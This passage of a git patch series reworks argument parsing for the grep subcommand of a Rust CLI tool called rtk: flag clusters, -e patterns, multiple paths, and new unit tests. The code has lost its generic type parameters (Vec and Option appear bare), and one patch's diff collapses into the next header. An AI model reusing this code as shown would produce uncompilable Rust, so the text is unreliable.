clap::ArgAction::Count, global = true)] + /// Verbosity level (-v, -vv, -vvv) — only recognized before the subcommand + #[arg(short, long, action = clap::ArgAction::Count)] verbose: u8, /// Ultra-compact mode: ASCII icons, inline format (Level 2 optimizations) @@ -302,11 +302,6 @@ enum Commands { /// Compact grep - strips whitespace, truncates, groups by file Grep { - /// Pattern to search - pattern: String, - /// Path to search in - #[arg(default_value = ".")] - path: String, /// Max line length #[arg(short = 'l', long, default_value = "80")] max_len: usize, @@ -319,10 +314,7 @@ enum Commands { /// Filter by file type (e.g., ts, py, rust) #[arg(short = 't', long)] file_type: Option, - /// Show line numbers (always on, accepted for grep/rg compatibility) - #[arg(short = 'n', long)] - line_numbers: bool, - /// Extra ripgrep arguments (e.g., -i, -A 3, -w, --glob) + /// Pattern, path, and any grep/rg flags (e.g. -v, -i, -A 3, --glob, --version) #[arg(trailing_var_arg = true, allow_hyphen_values = true)] extra_args: Vec, }, @@ -1800,17 +1792,12 @@ fn run_cli() -> Result { } Commands::Grep { - pattern, - path, max_len, max, context_only, file_type, - line_numbers: _, // no-op: line numbers always enabled in grep_cmd::run extra_args, } => grep_cmd::run( - &pattern, - &path, max_len, max, context_only, From c40b3ef9dbefeecff0408b0fd459b8376aeabdc1 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Thu, 11 Jun 2026 00:16:57 +0200 Subject: [PATCH 207/257] fix(grep): fix value-taking flags, -rN clusters, multi-path, and -e patterns MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Four bugs in `extract_pattern_path` caused `rtk grep` to misparse common invocations: - `-A 2 error src` → `2` was taken as the pattern (value-taking flags not recognised) - `-rn foo src` → `n` leaked to rg as `--replace` value (only standalone `-r` was stripped, not combined clusters like `-rn`) - `TODO src tests` → second path silently dropped (only one path kept) - `-i x agent -g '*.md'` → rg regex error (`*.md` became positional before `-g` could consume it) New implementation: - `VALUE_FLAGS_SHORT`: explicit byte-set of 2-char flags that consume one following token (`A`, `B`, `C`, `g`, `f`, `j`, `m`) - `process_flag()`: strips `r`/`R` from any single-dash cluster, drops `--recursive`; replaces the old inline `if arg == "-r"` loop - `extract_pattern_path` returns `(Vec, Vec, Vec)` (patterns, paths, flags) — no more `Option` for pattern - `-e` values collected separately; if any `-e` is present, all positionals are paths; otherwise first positional is the pattern - All patterns forwarded to rg as `-e` flags (BRE `\|`→`|` inline) Co-Authored-By: Claude Sonnet 4.6 --- src/cmds/system/grep_cmd.rs | 322 ++++++++++++++++++++++++++---------- 1 file changed, 232 insertions(+), 90 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 5ca17cef4f..9209374fee 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -8,40 +8,116 @@ use anyhow::{Context, Result}; use regex::Regex; use std::collections::HashMap; -/// Extracts (pattern, path, flags) from the raw trailing args. +/// Short flags (exact 2-char form `-X`) that consume one following token as their value. +/// `-e` is handled separately — its value goes into `patterns`, not `flags`. +/// Deliberately small: unknown flags pass through unchanged. The failure mode +/// for a missing entry is a visible wrong result, not a silent corruption. +const VALUE_FLAGS_SHORT: &[u8] = b"ABCgfjm"; + +/// Normalise a flag arg for rg forwarding. +/// Returns `None` when the flag should be dropped (grep-ism recursive flags). +fn process_flag(arg: &str) -> Option { + if arg == "--recursive" { + return None; + } + // Long flags pass through unchanged. + if arg.starts_with("--") { + return Some(arg.to_string()); + } + // Short clusters: strip `r`/`R` (grep recursive; rg -r means --replace). + if let Some(rest) = arg.strip_prefix('-') { + let cleaned: String = rest.chars().filter(|&c| c != 'r' && c != 'R').collect(); + return if cleaned.is_empty() { + None + } else { + Some(format!("-{}", cleaned)) + }; + } + Some(arg.to_string()) +} + +/// Extracts `(patterns, paths, flags)` from the raw trailing args. +/// +/// - `patterns`: first non-flag positional prepended to any `-e` values. +/// All patterns are passed to rg as `-e` flags, so positional and `-e` are +/// interchangeable from rg's perspective. Empty → caller should error. +/// - `paths`: all subsequent non-flag positionals. Empty → caller defaults to `["."]`. +/// - `flags`: other flags forwarded to rg (recursive flags already stripped). /// -/// Scans for the first and second non-flag positional arguments. Everything -/// after `--` is also considered positional. Flags (args starting with `-`) -/// are collected as pass-through args for rg. -fn extract_pattern_path(args: &[String]) -> (Option, String, Vec) { +/// Value-taking short flags (see `VALUE_FLAGS_SHORT`) consume the next token +/// as their value so it is not mistaken for the pattern. Combined clusters like +/// `-rn` have `r`/`R` stripped before forwarding. `--` marks everything after +/// it as positional even if flag-shaped. +fn extract_pattern_path(args: &[String]) -> (Vec, Vec, Vec) { + let mut e_patterns: Vec = Vec::new(); let mut positionals: Vec = Vec::new(); let mut flags: Vec = Vec::new(); let mut past_dashdash = false; + let mut i = 0; + + while i < args.len() { + let arg = &args[i]; + + if past_dashdash { + positionals.push(arg.clone()); + i += 1; + continue; + } - for arg in args { if arg == "--" { past_dashdash = true; + i += 1; continue; } - if past_dashdash || !arg.starts_with('-') { - positionals.push(arg.clone()); + + if arg.starts_with('-') { + // -e: consume value into patterns (not flags) + if arg == "-e" { + if i + 1 < args.len() { + e_patterns.push(args[i + 1].clone()); + i += 2; + } else { + i += 1; + } + continue; + } + + // Exact 2-char value-taking flag: consume next token as value + if arg.len() == 2 + && VALUE_FLAGS_SHORT.contains(&arg.as_bytes()[1]) + { + flags.push(arg.clone()); + if i + 1 < args.len() { + flags.push(args[i + 1].clone()); + i += 2; + } else { + i += 1; + } + continue; + } + + // Strip recursive flags; pass everything else through + if let Some(cleaned) = process_flag(arg) { + flags.push(cleaned); + } + i += 1; } else { - flags.push(arg.clone()); + positionals.push(arg.clone()); + i += 1; } } - let pattern = positionals.first().cloned(); - let path = positionals - .get(1) - .cloned() - .unwrap_or_else(|| ".".to_string()); - - // Any extra positionals beyond pattern+path go back into flags for rg. - for extra in positionals.iter().skip(2) { - flags.push(extra.clone()); - } + // If -e was used: all positionals are paths; -e values are the patterns. + // If -e was not used: first positional is the pattern, rest are paths. + let (patterns, paths) = if !e_patterns.is_empty() { + (e_patterns, positionals) + } else { + let paths = positionals.iter().skip(1).cloned().collect(); + let patterns = positionals.into_iter().take(1).collect(); + (patterns, paths) + }; - (pattern, path, flags) + (patterns, paths, flags) } #[allow(clippy::too_many_arguments)] @@ -82,20 +158,30 @@ pub fn run( // Re-insert `--` when clap's trailing_var_arg consumed it let args = args_utils::restore_double_dash(args); - let (pattern_opt, path, extra_args) = extract_pattern_path(&args); + let (patterns, paths, extra_args) = extract_pattern_path(&args); - let Some(pattern) = pattern_opt else { - eprintln!("rtk grep: pattern required"); + if patterns.is_empty() { + eprintln!("rtk grep: pattern required (positional or -e)"); return Ok(1); + } + + let display_pattern = if patterns.len() == 1 { + patterns[0].clone() + } else { + patterns.join("|") }; + let paths = if paths.is_empty() { + vec![".".to_string()] + } else { + paths + }; + let path_display = paths.join(" "); + if verbose > 0 { - eprintln!("grep: '{}' in {}", pattern, path); + eprintln!("grep: '{}' in {}", display_pattern, path_display); } - // Fix: convert BRE alternation \| → | for rg (which uses PCRE-style regex) - let rg_pattern = pattern.replace(r"\|", "|"); - let mut rg_cmd = resolved_command("rg"); // --no-ignore-vcs: match grep -r behavior (don't skip .gitignore'd files). // Without this, rg returns 0 matches for files in .gitignore, causing @@ -110,27 +196,31 @@ pub fn run( rg_cmd.arg("--type").arg(ft); } - for arg in &extra_args { - // Fix: skip grep-ism -r flag (rg is recursive by default; rg -r means --replace) - if arg == "-r" || arg == "--recursive" { - continue; - } - rg_cmd.arg(arg); + // extra_args is already stripped of -r/-R/-recursive by extract_pattern_path + rg_cmd.args(&extra_args); + + // All patterns as -e flags (BRE \| → | translation for rg's PCRE engine). + // Using -e keeps `--` semantically as a flag/path separator, not part of the pattern. + for p in &patterns { + rg_cmd.args(["-e", &p.replace(r"\|", "|")]); } - // `--` after all flags, before pattern + path: prevents rg from interpreting - // patterns starting with `-` (e.g. `--version`) as its own flags. - rg_cmd.args(["--", &rg_pattern, &path]); + // `--` after all flags: prevents rg from interpreting path args starting + // with `-` as its own flags. + rg_cmd.arg("--"); + rg_cmd.args(&paths); let result = exec_capture(&mut rg_cmd) .or_else(|_| { // rg unavailable: fall back to system grep with the original, - // untranslated pattern (grep interprets BRE natively). - // `--` before pattern keeps grep from misreading flag-like patterns. + // untranslated patterns (grep interprets BRE natively). let mut grep_cmd = resolved_command("grep"); - grep_cmd - .args(&extra_args) - .args(["-rnHZ", "--", &pattern, &path]); + grep_cmd.args(&extra_args); + for p in &patterns { + grep_cmd.args(["-e", p]); + } + grep_cmd.args(["-rnHZ", "--"]); + grep_cmd.args(&paths); exec_capture(&mut grep_cmd) }) .context("grep/rg failed")?; @@ -143,9 +233,9 @@ pub fn run( } let args_display = if extra_args.is_empty() { - format!("'{}' {}", pattern, path) + format!("'{}' {}", display_pattern, path_display) } else { - format!("{} '{}' {}", extra_args.join(" "), pattern, path) + format!("{} '{}' {}", extra_args.join(" "), display_pattern, path_display) }; timer.track_passthrough( @@ -163,10 +253,10 @@ pub fn run( if exit_code == 2 && !result.stderr.trim().is_empty() { eprintln!("{}", result.stderr.trim()); } - let msg = format!("0 matches for '{}'", pattern); + let msg = format!("0 matches for '{}'", display_pattern); println!("{}", msg); timer.track( - &format!("grep -rn '{}' {}", pattern, path), + &format!("grep -rn '{}' {}", display_pattern, path_display), "rtk grep", &raw_output, &msg, @@ -175,7 +265,11 @@ pub fn run( } let context_re = if context_only { - Regex::new(&format!("(?i).{{0,20}}{}.*", regex::escape(&pattern))).ok() + Regex::new(&format!( + "(?i).{{0,20}}{}.*", + regex::escape(&display_pattern) + )) + .ok() } else { None }; @@ -185,7 +279,7 @@ pub fn run( let Some((file, line_num, content)) = parse_match_line(line) else { continue; }; - let cleaned = clean_line(content, max_line_len, context_re.as_ref(), &pattern); + let cleaned = clean_line(content, max_line_len, context_re.as_ref(), &display_pattern); by_file.entry(file).or_default().push((line_num, cleaned)); } @@ -225,7 +319,7 @@ pub fn run( print!("{}", rtk_output); timer.track( - &format!("grep -rn '{}' {}", pattern, path), + &format!("grep -rn '{}' {}", display_pattern, path_display), "rtk grep", &raw_output, &rtk_output, @@ -356,14 +450,6 @@ mod tests { assert!(compact.len() <= 60); } - #[test] - fn test_extra_args_accepted() { - // Test that the function signature accepts extra_args - // This is a compile-time test - if it compiles, the signature is correct - let _extra: Vec = vec!["-i".to_string(), "-A".to_string(), "3".to_string()]; - // No need to actually run - we're verifying the parameter exists - } - #[test] fn test_clean_line_multibyte() { // Thai text that exceeds max_len in bytes @@ -388,63 +474,119 @@ mod tests { assert_eq!(rg_pattern, "fn foo|pub.*bar"); } - // Fix: -r flag (grep recursive) is stripped from extra_args (rg is recursive by default) + // --- process_flag --- + #[test] - fn test_recursive_flag_stripped() { - let extra_args: Vec = vec!["-r".to_string(), "-i".to_string()]; - let filtered: Vec<&String> = extra_args - .iter() - .filter(|a| *a != "-r" && *a != "--recursive") - .collect(); - assert_eq!(filtered.len(), 1); - assert_eq!(filtered[0], "-i"); + fn test_process_flag_strip_r() { + assert_eq!(process_flag("-r"), None); + assert_eq!(process_flag("-R"), None); + assert_eq!(process_flag("--recursive"), None); + assert_eq!(process_flag("-rn"), Some("-n".to_string())); + assert_eq!(process_flag("-Rni"), Some("-ni".to_string())); + assert_eq!(process_flag("-i"), Some("-i".to_string())); + assert_eq!(process_flag("--glob"), Some("--glob".to_string())); } // --- extract_pattern_path --- + fn s(v: &[&str]) -> Vec { + v.iter().map(|x| x.to_string()).collect() + } + #[test] - fn test_extract_pattern_path_simple() { - let args = vec!["foo".to_string(), "src/".to_string()]; - let (pat, path, flags) = extract_pattern_path(&args); - assert_eq!(pat.as_deref(), Some("foo")); - assert_eq!(path, "src/"); + fn test_extract_simple() { + let (patterns, paths, flags) = extract_pattern_path(&s(&["foo", "src/"])); + assert_eq!(patterns, s(&["foo"])); + assert_eq!(paths, s(&["src/"])); assert!(flags.is_empty()); } #[test] - fn test_extract_pattern_path_with_flags() { - let args = vec!["-i".to_string(), "foo".to_string(), "src/".to_string()]; - let (pat, path, flags) = extract_pattern_path(&args); - assert_eq!(pat.as_deref(), Some("foo")); - assert_eq!(path, "src/"); - assert_eq!(flags, vec!["-i"]); + fn test_extract_with_bool_flag() { + let (patterns, paths, flags) = extract_pattern_path(&s(&["-i", "foo", "src/"])); + assert_eq!(patterns, s(&["foo"])); + assert_eq!(paths, s(&["src/"])); + assert_eq!(flags, s(&["-i"])); + } + + #[test] + fn test_extract_value_taking_flag() { + // -A 2 must not steal "error" as its value + let (patterns, paths, flags) = extract_pattern_path(&s(&["-A", "2", "error", "src"])); + assert_eq!(patterns, s(&["error"])); + assert_eq!(paths, s(&["src"])); + assert_eq!(flags, s(&["-A", "2"])); } #[test] - fn test_extract_pattern_path_default_path() { - let args = vec!["foo".to_string()]; - let (pat, path, _flags) = extract_pattern_path(&args); - assert_eq!(pat.as_deref(), Some("foo")); - assert_eq!(path, "."); + fn test_extract_cluster_strip_r() { + // -rn: r stripped, n forwarded (not leaked to rg as --replace value) + let (patterns, paths, flags) = extract_pattern_path(&s(&["-rn", "foo", "src"])); + assert_eq!(patterns, s(&["foo"])); + assert_eq!(paths, s(&["src"])); + assert_eq!(flags, s(&["-n"])); + } + + #[test] + fn test_extract_multi_path() { + let (patterns, paths, flags) = extract_pattern_path(&s(&["TODO", "src", "tests"])); + assert_eq!(patterns, s(&["TODO"])); + assert_eq!(paths, s(&["src", "tests"])); + assert!(flags.is_empty()); } #[test] - fn test_extract_pattern_path_no_args() { - let (pat, path, _flags) = extract_pattern_path(&[]); - assert!(pat.is_none()); - assert_eq!(path, "."); + fn test_extract_glob_value() { + // -g '*.md' must not steal "agent" as its value + let (patterns, paths, flags) = + extract_pattern_path(&s(&["-i", "x", "agent", "-g", "*.md"])); + assert_eq!(patterns, s(&["x"])); + assert_eq!(paths, s(&["agent"])); + assert_eq!(flags, s(&["-i", "-g", "*.md"])); } #[test] - fn test_extract_pattern_path_dashdash() { + fn test_extract_e_flag() { + let (patterns, paths, flags) = extract_pattern_path(&s(&["-e", "fn run", "src"])); + assert_eq!(patterns, s(&["fn run"])); + assert_eq!(paths, s(&["src"])); + assert!(flags.is_empty()); + } + + #[test] + fn test_extract_multi_e() { + let (patterns, paths, flags) = + extract_pattern_path(&s(&["-e", "foo", "-e", "bar", "src"])); + assert_eq!(patterns, s(&["foo", "bar"])); + assert_eq!(paths, s(&["src"])); + assert!(flags.is_empty()); + } + + #[test] + fn test_extract_dashdash_boundary() { // After --, args are positional even if they look like flags - let args = vec!["--".to_string(), "--version".to_string()]; - let (pat, path, flags) = extract_pattern_path(&args); - assert_eq!(pat.as_deref(), Some("--version")); - assert_eq!(path, "."); + let (patterns, paths, flags) = extract_pattern_path(&s(&["--", "--version"])); + assert_eq!(patterns, s(&["--version"])); + assert!(paths.is_empty()); assert!(flags.is_empty()); } + #[test] + fn test_extract_no_args() { + let (patterns, paths, flags) = extract_pattern_path(&[]); + assert!(patterns.is_empty()); + assert!(paths.is_empty()); + assert!(flags.is_empty()); + } + + #[test] + fn test_extract_default_path_empty() { + // Caller is responsible for defaulting empty paths to ["."] + let (patterns, paths, _) = extract_pattern_path(&s(&["foo"])); + assert_eq!(patterns, s(&["foo"])); + assert!(paths.is_empty()); + } + // --- truncation accuracy --- #[test] From acb3a2d5cd0a503883a420acebedb0043c4165a7 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Thu, 11 Jun 2026 00:21:46 +0200 Subject: [PATCH 208/257] fix(grep): handle value-taking flags in tail position of short clusters MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A combined cluster like -rne PATTERN or -rA 2 had the last flag's value consumed only if the cluster was exactly 2 chars. Longer clusters (e.g. -rne) fell through to process_flag, which stripped -r and emitted -ne — then -e ended up in flags without a value, causing rg to error. New unified short-flag handler: for any single-dash cluster, inspect the last byte. If it is -e or a VALUE_FLAGS_SHORT member, strip the r/R chars from the prefix, emit the prefix as a flag (if non-empty), and consume the next token as the value (pattern for -e, flag value otherwise). Long flags (--foo) are still routed through process_flag. Co-Authored-By: Claude Sonnet 4.6 --- src/cmds/system/grep_cmd.rs | 106 +++++++++++++++++++++++++++--------- 1 file changed, 81 insertions(+), 25 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 9209374fee..f80ff37f42 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -71,36 +71,64 @@ fn extract_pattern_path(args: &[String]) -> (Vec, Vec, Vec Date: Thu, 11 Jun 2026 01:16:36 +0200 Subject: [PATCH 209/257] fix(grep): code and test cleanup --- src/cmds/system/grep_cmd.rs | 310 ++++++++++++++++++------------------ 1 file changed, 152 insertions(+), 158 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index f80ff37f42..98433dde5e 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -14,26 +14,28 @@ use std::collections::HashMap; /// for a missing entry is a visible wrong result, not a silent corruption. const VALUE_FLAGS_SHORT: &[u8] = b"ABCgfjm"; -/// Normalise a flag arg for rg forwarding. +/// Normalise short flags arg for rg forwarding. +/// Returns `None` when the entire flag is stripped (grep-ism recursive flags). +fn strip_r(arg: &str) -> Option { + match arg + .chars() + .filter(|&c| c != 'r' && c != 'R') + .collect::() + { + s if !s.is_empty() => Some(s), + _ => None, + } +} + +/// Normalise long flag arg for rg forwarding. /// Returns `None` when the flag should be dropped (grep-ism recursive flags). -fn process_flag(arg: &str) -> Option { - if arg == "--recursive" { - return None; - } - // Long flags pass through unchanged. - if arg.starts_with("--") { - return Some(arg.to_string()); - } - // Short clusters: strip `r`/`R` (grep recursive; rg -r means --replace). - if let Some(rest) = arg.strip_prefix('-') { - let cleaned: String = rest.chars().filter(|&c| c != 'r' && c != 'R').collect(); - return if cleaned.is_empty() { - None - } else { - Some(format!("-{}", cleaned)) - }; +fn strip_recursive(arg: &str) -> Option { + match arg { + // Drop recursive flags that would change semantics in rg. + "--recursive" => None, + // Everything else pass through unchanged. + _ => Some(arg.to_string()), } - Some(arg.to_string()) } /// Extracts `(patterns, paths, flags)` from the raw trailing args. @@ -48,7 +50,7 @@ fn process_flag(arg: &str) -> Option { /// as their value so it is not mistaken for the pattern. Combined clusters like /// `-rn` have `r`/`R` stripped before forwarding. `--` marks everything after /// it as positional even if flag-shaped. -fn extract_pattern_path(args: &[String]) -> (Vec, Vec, Vec) { +fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, Vec) { let mut e_patterns: Vec = Vec::new(); let mut positionals: Vec = Vec::new(); let mut flags: Vec = Vec::new(); @@ -56,10 +58,10 @@ fn extract_pattern_path(args: &[String]) -> (Vec, Vec, Vec (Vec, Vec, Vec { + let last = *rest.as_bytes().last().unwrap(); + let last_is_e = last == b'e'; + let last_takes_value = last_is_e || VALUE_FLAGS_SHORT.contains(&last); - let value = if i + 1 < args.len() { - let v = args[i + 1].clone(); - i += 2; - Some(v) - } else { - i += 1; - None - }; + if last_takes_value { + // Emit cleaned prefix (everything before last char, r/R stripped) + if let Some(prefix) = strip_r(&rest[..rest.len() - 1]) { + flags.push(format!("-{}", prefix)); + } - if last_is_e { - if let Some(v) = value { - e_patterns.push(v); + let value = if i + 1 < args.len() { + let v = args[i + 1].as_ref().to_string(); + i += 2; + Some(v) + } else { + i += 1; + None + }; + + if last_is_e { + if let Some(v) = value { + e_patterns.push(v); + } else { + // -e without a value: treat "e" as a normal flag to avoid losing the pattern. + flags.push("-e".to_string()); + } + } else { + flags.push(format!("-{}", last as char)); + if let Some(v) = value { + flags.push(v); + } } } else { - flags.push(format!("-{}", last as char)); - if let Some(v) = value { - flags.push(v); + // No value-taking flag at end: strip r/R, forward remainder + if let Some(cleaned) = strip_r(rest) { + flags.push(format!("-{}", cleaned)); } + i += 1; } - } else { - // No value-taking flag at end: strip r/R, forward remainder - let cleaned: String = rest.chars().filter(|&c| c != 'r' && c != 'R').collect(); - if !cleaned.is_empty() { - flags.push(format!("-{}", cleaned)); - } + } + _ => { + positionals.push(arg.to_string()); i += 1; } - } else { - positionals.push(arg.clone()); - i += 1; } } @@ -148,7 +143,6 @@ fn extract_pattern_path(args: &[String]) -> (Vec, Vec, Vec 0 { - eprintln!("grep: '{}' in {}", display_pattern, path_display); + eprintln!("grep: '{}' in {}", pattern_display, path_display); } let mut rg_cmd = resolved_command("rg"); @@ -261,12 +255,12 @@ pub fn run( } let args_display = if extra_args.is_empty() { - format!("'{}' {}", display_pattern, path_display) + format!("'{}' {}", pattern_display, path_display) } else { format!( "{} '{}' {}", extra_args.join(" "), - display_pattern, + pattern_display, path_display ) }; @@ -286,10 +280,10 @@ pub fn run( if exit_code == 2 && !result.stderr.trim().is_empty() { eprintln!("{}", result.stderr.trim()); } - let msg = format!("0 matches for '{}'", display_pattern); + let msg = format!("0 matches for '{}'", pattern_display); println!("{}", msg); timer.track( - &format!("grep -rn '{}' {}", display_pattern, path_display), + &format!("grep -rn '{}' {}", pattern_display, path_display), "rtk grep", &raw_output, &msg, @@ -300,7 +294,7 @@ pub fn run( let context_re = if context_only { Regex::new(&format!( "(?i).{{0,20}}{}.*", - regex::escape(&display_pattern) + regex::escape(&pattern_display) )) .ok() } else { @@ -312,7 +306,7 @@ pub fn run( let Some((file, line_num, content)) = parse_match_line(line) else { continue; }; - let cleaned = clean_line(content, max_line_len, context_re.as_ref(), &display_pattern); + let cleaned = clean_line(content, max_line_len, context_re.as_ref(), &pattern_display); by_file.entry(file).or_default().push((line_num, cleaned)); } @@ -352,7 +346,7 @@ pub fn run( print!("{}", rtk_output); timer.track( - &format!("grep -rn '{}' {}", display_pattern, path_display), + &format!("grep -rn '{}' {}", pattern_display, path_display), "rtk grep", &raw_output, &rtk_output, @@ -383,10 +377,10 @@ fn parse_match_line(line: &str) -> Option<(String, usize, &str)> { }) } -fn has_format_flag(extra_args: &[String]) -> bool { +fn has_format_flag>(extra_args: &[T]) -> bool { extra_args.iter().any(|arg| { matches!( - arg.as_str(), + arg.as_ref(), "-c" | "--count" | "-l" | "--files-with-matches" @@ -510,126 +504,122 @@ mod tests { // --- process_flag --- #[test] - fn test_process_flag_strip_r() { - assert_eq!(process_flag("-r"), None); - assert_eq!(process_flag("-R"), None); - assert_eq!(process_flag("-rn"), Some("-n".to_string())); - assert_eq!(process_flag("-Rni"), Some("-ni".to_string())); - assert_eq!(process_flag("-i"), Some("-i".to_string())); + fn test_strip_r() { + assert_eq!(strip_r(""), None); + assert_eq!(strip_r("r"), None); + assert_eq!(strip_r("rr"), None); + assert_eq!(strip_r("R"), None); + assert_eq!(strip_r("rn"), Some("n".to_string())); + assert_eq!(strip_r("Rni"), Some("ni".to_string())); + assert_eq!(strip_r("i"), Some("i".to_string())); } #[test] - fn test_process_flag_strip_recursive() { - // process_flag is now only called for long flags - assert_eq!(process_flag("--recursive"), None); - assert_eq!(process_flag("--glob"), Some("--glob".to_string())); - assert_eq!(process_flag("--type"), Some("--type".to_string())); + fn test_strip_recursive() { + assert_eq!(strip_recursive("--recursive"), None); + assert_eq!(strip_recursive("--glob"), Some("--glob".to_string())); + assert_eq!(strip_recursive("--type"), Some("--type".to_string())); } // --- extract_pattern_path --- - fn s(v: &[&str]) -> Vec { - v.iter().map(|x| x.to_string()).collect() - } - #[test] fn test_extract_simple() { - let (patterns, paths, flags) = extract_pattern_path(&s(&["foo", "src/"])); - assert_eq!(patterns, s(&["foo"])); - assert_eq!(paths, s(&["src/"])); + let (patterns, paths, flags) = extract_pattern_path(&["foo", "src/"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src/"]); assert!(flags.is_empty()); } #[test] fn test_extract_with_bool_flag() { - let (patterns, paths, flags) = extract_pattern_path(&s(&["-i", "foo", "src/"])); - assert_eq!(patterns, s(&["foo"])); - assert_eq!(paths, s(&["src/"])); - assert_eq!(flags, s(&["-i"])); + let (patterns, paths, flags) = extract_pattern_path(&["-i", "foo", "src/"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src/"]); + assert_eq!(flags, vec!["-i"]); } #[test] fn test_extract_value_taking_flag() { // -A 2 must not steal "error" as its value - let (patterns, paths, flags) = extract_pattern_path(&s(&["-A", "2", "error", "src"])); - assert_eq!(patterns, s(&["error"])); - assert_eq!(paths, s(&["src"])); - assert_eq!(flags, s(&["-A", "2"])); + let (patterns, paths, flags) = extract_pattern_path(&["-A", "2", "error", "src"]); + assert_eq!(patterns, vec!["error"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["-A", "2"]); } #[test] fn test_extract_cluster_strip_r() { // -rn: r stripped, n forwarded (not leaked to rg as --replace value) - let (patterns, paths, flags) = extract_pattern_path(&s(&["-rn", "foo", "src"])); - assert_eq!(patterns, s(&["foo"])); - assert_eq!(paths, s(&["src"])); - assert_eq!(flags, s(&["-n"])); + let (patterns, paths, flags) = extract_pattern_path(&["-rn", "foo", "src"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["-n"]); } #[test] fn test_extract_cluster_ending_in_e() { // -rne PATTERN: r stripped, n in prefix, e consumes PATTERN as pattern - let (patterns, paths, flags) = extract_pattern_path(&s(&["-rne", "PATTERN", "src"])); - assert_eq!(patterns, s(&["PATTERN"])); - assert_eq!(paths, s(&["src"])); - assert_eq!(flags, s(&["-n"])); + let (patterns, paths, flags) = extract_pattern_path(&["-rne", "PATTERN", "src"]); + assert_eq!(patterns, vec!["PATTERN"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["-n"]); } #[test] fn test_extract_cluster_ending_in_value_flag() { // -rA 2: r stripped, A consumes 2 as context value - let (patterns, paths, flags) = extract_pattern_path(&s(&["-rA", "2", "foo", "src"])); - assert_eq!(patterns, s(&["foo"])); - assert_eq!(paths, s(&["src"])); - assert_eq!(flags, s(&["-A", "2"])); + let (patterns, paths, flags) = extract_pattern_path(&["-rA", "2", "foo", "src"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["-A", "2"]); } #[test] fn test_extract_multi_path() { - let (patterns, paths, flags) = extract_pattern_path(&s(&["TODO", "src", "tests"])); - assert_eq!(patterns, s(&["TODO"])); - assert_eq!(paths, s(&["src", "tests"])); + let (patterns, paths, flags) = extract_pattern_path(&["TODO", "src", "tests"]); + assert_eq!(patterns, vec!["TODO"]); + assert_eq!(paths, vec!["src", "tests"]); assert!(flags.is_empty()); } #[test] fn test_extract_glob_value() { // -g '*.md' must not steal "agent" as its value - let (patterns, paths, flags) = - extract_pattern_path(&s(&["-i", "x", "agent", "-g", "*.md"])); - assert_eq!(patterns, s(&["x"])); - assert_eq!(paths, s(&["agent"])); - assert_eq!(flags, s(&["-i", "-g", "*.md"])); + let (patterns, paths, flags) = extract_pattern_path(&["-i", "x", "agent", "-g", "*.md"]); + assert_eq!(patterns, vec!["x"]); + assert_eq!(paths, vec!["agent"]); + assert_eq!(flags, vec!["-i", "-g", "*.md"]); } #[test] fn test_extract_e_flag() { - let (patterns, paths, flags) = extract_pattern_path(&s(&["-e", "fn run", "src"])); - assert_eq!(patterns, s(&["fn run"])); - assert_eq!(paths, s(&["src"])); + let (patterns, paths, flags) = extract_pattern_path(&["-e", "fn run", "src"]); + assert_eq!(patterns, vec!["fn run"]); + assert_eq!(paths, vec!["src"]); assert!(flags.is_empty()); } #[test] fn test_extract_multi_e() { - let (patterns, paths, flags) = extract_pattern_path(&s(&["-e", "foo", "-e", "bar", "src"])); - assert_eq!(patterns, s(&["foo", "bar"])); - assert_eq!(paths, s(&["src"])); + let (patterns, paths, flags) = extract_pattern_path(&["-e", "foo", "-e", "bar", "src"]); + assert_eq!(patterns, vec!["foo", "bar"]); + assert_eq!(paths, vec!["src"]); assert!(flags.is_empty()); } #[test] fn test_extract_dashdash_boundary() { // After --, args are positional even if they look like flags - let (patterns, paths, flags) = extract_pattern_path(&s(&["--", "--version"])); - assert_eq!(patterns, s(&["--version"])); + let (patterns, paths, flags) = extract_pattern_path(&["--", "--version"]); + assert_eq!(patterns, vec!["--version"]); assert!(paths.is_empty()); assert!(flags.is_empty()); } #[test] fn test_extract_no_args() { - let (patterns, paths, flags) = extract_pattern_path(&[]); + let (patterns, paths, flags) = extract_pattern_path::<&str>(&[]); assert!(patterns.is_empty()); assert!(paths.is_empty()); assert!(flags.is_empty()); @@ -638,11 +628,20 @@ mod tests { #[test] fn test_extract_default_path_empty() { // Caller is responsible for defaulting empty paths to ["."] - let (patterns, paths, _) = extract_pattern_path(&s(&["foo"])); - assert_eq!(patterns, s(&["foo"])); + let (patterns, paths, _) = extract_pattern_path(&["foo"]); + assert_eq!(patterns, vec!["foo"]); assert!(paths.is_empty()); } + #[test] + fn test_extract_ending_e() { + let (patterns, paths, flags) = + extract_pattern_path(&["-e", "foo", "-e", "bar", "src", "-e"]); + assert_eq!(patterns, vec!["foo", "bar"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["-e"]); + } + // --- truncation accuracy --- #[test] @@ -668,42 +667,37 @@ mod tests { #[test] fn test_format_flag_detects_count() { - assert!(has_format_flag(&["-c".to_string()])); - assert!(has_format_flag(&["--count".to_string()])); + assert!(has_format_flag(&["-c"])); + assert!(has_format_flag(&["--count"])); } #[test] fn test_format_flag_detects_files_with_matches() { - assert!(has_format_flag(&["-l".to_string()])); - assert!(has_format_flag(&["--files-with-matches".to_string()])); + assert!(has_format_flag(&["-l"])); + 